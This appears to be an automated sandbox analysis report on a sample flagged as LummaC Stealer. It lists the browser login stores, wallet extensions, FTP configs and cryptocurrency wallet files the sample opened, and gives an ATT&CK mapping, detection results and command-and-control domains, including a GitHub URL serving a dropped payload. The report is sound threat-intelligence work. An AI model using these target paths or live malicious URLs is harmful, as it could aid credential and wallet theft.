Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior

Source: Yara match	File source: 00000000.00000003.3816016545.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Gz1bBIg2Tw.exe PID: 4784, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Gz1bBIg2Tw.exe PID: 4784, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	21 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	311 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	23 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Gz1bBIg2Tw.exe	35%	Virustotal		Browse
Gz1bBIg2Tw.exe	37%	ReversingLabs	Win32.Trojan.Generic

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\AD2QI301VGQ7BUOKWK66SF.exe	100%	Avira	HEUR/AGEN.1316942
C:\Users\user\AppData\Local\Temp\AD2QI301VGQ7BUOKWK66SF.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\AD2QI301VGQ7BUOKWK66SF.exe	37%	ReversingLabs	Win32.Ransomware.GOBackdoor

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://lev-tolstoi.com/s4	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/apiFile	100%	Avira URL Cloud	malware
https://hummskitnj.buzz/	100%	Avira URL Cloud	malware
https://hummskitnj.buzz:443/apiI	100%	Avira URL Cloud	malware
https://inherineau.buzz:443/api	100%	Avira URL Cloud	malware
https://prisonyfork.buzz:443/api	100%	Avira URL Cloud	malware
https://lev-tolstoi.com:443/apical	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/apik	100%	Avira URL Cloud	malware
https://screwamusresz.buzz:443/api	100%	Avira URL Cloud	malware
https://scentniej.buzz:443/apih	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
steamcommunity.com	104.102.49.254	true	false	high
lev-tolstoi.com	172.67.157.254	true	false	high
github.com	140.82.121.4	true	false	high
raw.githubusercontent.com	185.199.109.133	true	false	high
cashfuzysao.buzz	unknown	unknown	false	high
scentniej.buzz	unknown	unknown	false	high
inherineau.buzz	unknown	unknown	false	high
prisonyfork.buzz	unknown	unknown	false	high
rebuildeso.buzz	unknown	unknown	false	high
hummskitnj.buzz	unknown	unknown	false	high
appliacnesot.buzz	unknown	unknown	false	high
screwamusresz.buzz	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
scentniej.buzz	false	high
https://steamcommunity.com/profiles/76561199724331900	false	high
rebuildeso.buzz	false	high
appliacnesot.buzz	false	high
screwamusresz.buzz	false	high
cashfuzysao.buzz	false	high
inherineau.buzz	false	high
https://lev-tolstoi.com/api	false	high
https://github.com/DLMKER/biden/raw/refs/heads/main/SamilinadiSoftware.exe	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	Gz1bBIg2Tw.exe, 00000000.00000003.3715478428.00000000030DC000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3715553295.00000000030D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://player.vimeo.com	Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	Gz1bBIg2Tw.exe, 00000000.00000003.3715478428.00000000030DC000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3715553295.00000000030D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/s4	Gz1bBIg2Tw.exe, 00000000.00000003.3714745544.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/?subsection=broadcasts	Gz1bBIg2Tw.exe, 00000000.00000003.3704358734.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3714668414.0000000001DEA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/subscriber_agreement/	Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.gstatic.cn/recaptcha/	Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/DLMKER/biden/raw/refs/heads/main/SamilinadiSoftware.exeoN	Gz1bBIg2Tw.exe, 00000000.00000003.3948762460.0000000003091000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000002.3955612223.0000000003098000.00000004.00000800.00020000.00000000.sdmp	false		high
https://hummskitnj.buzz/	Gz1bBIg2Tw.exe, 00000000.00000002.3954496167.0000000001D81000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3952569912.0000000001D80000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3952221877.0000000001D7E000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704373227.0000000001D7E000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3714745544.0000000001D7E000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3816016545.0000000001D80000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D80000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D7E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://lev-tolstoi.com:443/apical	Gz1bBIg2Tw.exe, 00000000.00000002.3954334482.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3952432312.0000000001D60000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.valvesoftware.com/legal.htm	Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en	Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com	Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com	Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE5000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D59000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/	Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s.ytimg.com;	Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=FRRi	Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE5000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D59000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE5000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D59000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3714668414.0000000001DF6000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://inherineau.buzz:443/api	Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D60000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/	Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/d	Gz1bBIg2Tw.exe, 00000000.00000003.3952432312.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000002.3954496167.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3952221877.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steam.tv/	Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/	Gz1bBIg2Tw.exe, 00000000.00000003.3816016545.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://store.steampowered.com/privacy_agreement/	Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE5000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D59000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3714668414.0000000001DF6000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	Gz1bBIg2Tw.exe, 00000000.00000003.3797449988.00000000030A3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steamcommunity.com:443/profiles/76561199724331900	Gz1bBIg2Tw.exe, 00000000.00000003.3714745544.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704373227.0000000001D60000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/points/shop/	Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Gz1bBIg2Tw.exe, 00000000.00000003.3715478428.00000000030DC000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3715553295.00000000030D9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	Gz1bBIg2Tw.exe, 00000000.00000003.3795576715.00000000030DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	Gz1bBIg2Tw.exe, 00000000.00000003.3795576715.00000000030DA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steamcommunity.com/c	Gz1bBIg2Tw.exe, 00000000.00000003.3704373227.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3714745544.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a	Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sketchfab.com	Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	Gz1bBIg2Tw.exe, 00000000.00000003.3715478428.00000000030DC000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3715553295.00000000030D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199724331900/inventory/	Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE5000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D59000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3714668414.0000000001DF6000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	Gz1bBIg2Tw.exe, 00000000.00000003.3796914009.000000000A4F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/	Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	false		high
